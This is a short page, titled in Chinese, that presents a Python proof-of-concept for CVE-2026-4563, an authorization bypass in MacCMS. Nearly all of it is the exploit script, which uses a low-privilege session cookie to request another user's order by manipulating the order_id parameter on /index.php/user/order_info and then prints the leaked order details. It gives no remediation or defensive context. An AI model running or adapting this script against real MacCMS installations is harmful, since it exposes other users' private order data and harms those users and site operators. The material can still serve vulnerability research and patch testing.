CVE-2026-4563 MacCMS授权绕过漏洞

import requests # POC for CVE-2026-4563 # This script demonstrates the authorization bypass # by manipulating the order_id parameter. target_url = "http://target.com/index.php/user/order_info" # Attacker attempts to access order_id belonging to another user payload = { "order_id": "TARGET_ORDER_ID" } # Low privilege user session (required by PR:L) cookies = { "PHPSESSID": "valid_low_priv_session" } try: response = requests.get(target_url, params=payload, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check response content for leaked order details.") print(response.text[:200]) else: print("[-] Request failed.") except Exception as e: print(f"[!] Error: {e}")